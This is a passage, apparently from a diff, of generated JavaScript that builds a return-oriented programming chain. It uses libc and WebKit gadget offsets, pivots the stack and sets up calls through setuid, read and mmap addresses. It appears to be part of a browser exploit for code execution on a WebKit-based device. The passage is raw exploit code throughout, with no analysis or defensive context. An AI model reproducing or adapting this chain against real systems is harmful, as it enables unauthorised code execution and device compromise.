rcx +libc_base+713278 //pop rsi +]); +db([4294967192, 4294967295]); // -0x68 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278 //pop rsi +]); +db([48, 0]); // 0x30 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+740138, //mov rax, r8 +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([32, 0]); // 0x20 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278 //pop rsi +]); +db([24, 0]); // 0x18 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([128, 0]); // 0x80 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+215264, //L3482 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+489696 //pop rsp +]); +//L3482: +db([0, 0]); // 0x0 +//L2932: +set_gadget(libc_base+713278,); //pop rsi +db([208, 0]); // 0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+165442, //pop rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+713278, //pop rsi +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+608613, //pop rdx +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+772328, //pop rcx +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+1420514, //pop r8 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+17972187, //pop r9 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+765305, //xor rax, rax +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+11, //nop +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+11, //nop +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+713278, //pop rsi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+772328, //pop rcx +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+165442, //pop rdi +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+1420514, //pop r8 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+489696, //pop rsp +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([208, 0]); // 0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967080, 4294967295]); // -0xd8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([200, 0]); // 0xc8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967088, 4294967295]); // -0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([192, 0]); // 0xc0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967096, 4294967295]); // -0xc8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([184, 0]); // 0xb8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967104, 4294967295]); // -0xc0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([176, 0]); // 0xb0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967112, 4294967295]); // -0xb8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([168, 0]); // 0xa8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967272, 4294967295]); // -0x18 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+772328 //pop rcx +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +webkit_base+5236215, //and rax, rcx +libc_base+772328, //pop rcx +setuid_addr, +webkit_base+2989859, //mov [rax], rcx +libc_base+713278 //pop rsi +]); +db([4294967192, 4294967295]); // -0x68 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278 //pop rsi +]); +db([48, 0]); // 0x30 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+740138, //mov rax, r8 +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([32, 0]); // 0x20 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278 //pop rsi +]); +db([24, 0]); // 0x18 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([128, 0]); // 0x80 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+216592, //L3483 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+489696 //pop rsp +]); +//L3483: +db([0, 0]); // 0x0 +//L3465: +set_gadget(libc_base+713278,); //pop rsi +db([208, 0]); // 0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+165442, //pop rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+713278, //pop rsi +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+608613, //pop rdx +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+772328, //pop rcx +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+1420514, //pop r8 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+17972187, //pop r9 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+765305, //xor rax, rax +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+11, //nop +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+11, //nop +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+713278, //pop rsi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+772328, //pop rcx +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+165442, //pop rdi +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+1420514, //pop r8 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+489696, //pop rsp +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967272, 4294967295]); // -0x18 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([216, 0]); // 0xd8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967072, 4294967295]); // -0xe0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([208, 0]); // 0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967080, 4294967295]); // -0xd8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([200, 0]); // 0xc8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967088, 4294967295]); // -0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([192, 0]); // 0xc0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967096, 4294967295]); // -0xc8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([184, 0]); // 0xb8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967104, 4294967295]); // -0xc0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([176, 0]); // 0xb0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967272, 4294967295]); // -0x18 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+772328 //pop rcx +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +webkit_base+5236215, //and rax, rcx +libc_base+713278 //pop rsi +]); +db([4294967216, 4294967295]); // -0x50 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+508174, //mov rcx, [rdi + 0x18] ; lea rax, [rax + rcx - 1] +libc_base+844101, //sub rax, rcx ; sbb rdx, rcx +libc_base+713278 //pop rsi +]); +db([1, 0]); // 0x1 +set_gadgets([ +libc_base+507828, //add rax, rsi +webkit_base+2989859, //mov [rax], rcx +libc_base+713278 //pop rsi +]); +db([4294967272, 4294967295]); // -0x18 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278 //pop rsi +]); +db([48, 0]); // 0x30 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+740138, //mov rax, r8 +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([32, 0]); // 0x20 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278 //pop rsi +]); +db([24, 0]); // 0x18 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([128, 0]); // 0x80 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+217968, //L3484 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+489696 //pop rsp +]); +//L3484: +db([0, 0]); // 0x0 +//L3347: +set_gadget(libc_base+713278,); //pop rsi +db([208, 0]); // 0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+165442, //pop rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+713278, //pop rsi +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+608613, //pop rdx +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+772328, //pop rcx +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+1420514, //pop r8 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+17972187, //pop r9 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+765305, //xor rax, rax +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+11, //nop +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+11, //nop +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+713278, //pop rsi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+772328, //pop rcx +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+165442, //pop rdi +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+1420514, //pop r8 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+489696, //pop rsp +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([208, 0]); // 0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967080, 4294967295]); // -0xd8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([200, 0]); // 0xc8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967088, 4294967295]); // -0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([192, 0]); // 0xc0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967096, 4294967295]); // -0xc8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([184, 0]); // 0xb8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967104, 4294967295]); // -0xc0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([176, 0]); // 0xb0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967112, 4294967295]); // -0xb8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([168, 0]); // 0xa8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967272, 4294967295]); // -0x18 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+772328 //pop rcx +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +webkit_base+5236215, //and rax, rcx +libc_base+772328, //pop rcx +read_addr, +webkit_base+2989859, //mov [rax], rcx +libc_base+713278 //pop rsi +]); +db([4294967192, 4294967295]); // -0x68 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278 //pop rsi +]); +db([48, 0]); // 0x30 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+740138, //mov rax, r8 +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([32, 0]); // 0x20 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278 //pop rsi +]); +db([24, 0]); // 0x18 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([128, 0]); // 0x80 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+219296, //L3485 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+489696 //pop rsp +]); +//L3485: +db([0, 0]); // 0x0 +//L2983: +set_gadget(libc_base+713278,); //pop rsi +db([208, 0]); // 0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+165442, //pop rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+713278, //pop rsi +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+608613, //pop rdx +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+772328, //pop rcx +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+1420514, //pop r8 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+17972187, //pop r9 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+765305, //xor rax, rax +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+11, //nop +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+11, //nop +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+713278, //pop rsi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+772328, //pop rcx +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+165442, //pop rdi +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +webkit_base+1420514, //pop r8 +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+768796, //pop rax +libc_base+489696, //pop rsp +libc_base+430587, //mov [rdi], rax +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([208, 0]); // 0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967080, 4294967295]); // -0xd8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([200, 0]); // 0xc8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967088, 4294967295]); // -0xd0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([192, 0]); // 0xc0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967096, 4294967295]); // -0xc8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([184, 0]); // 0xb8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967104, 4294967295]); // -0xc0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([176, 0]); // 0xb0 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967112, 4294967295]); // -0xb8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([168, 0]); // 0xa8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967272, 4294967295]); // -0x18 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+772328 //pop rcx +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ +webkit_base+5236215, //and rax, rcx +libc_base+772328, //pop rcx +mmap_addr, +webkit_base+2989859, //mov [rax], rcx +libc_base+713278 //pop rsi +]); +db([4294967192, 4294967295]); // -0x68 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+388400, //mov rax, rdi +libc_base+713278 //pop rsi +]); +db([48, 0]); // 0x30 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278 //pop rsi +]); +db([4294967280, 4294967295]); // -0x10 +set_gadgets([ 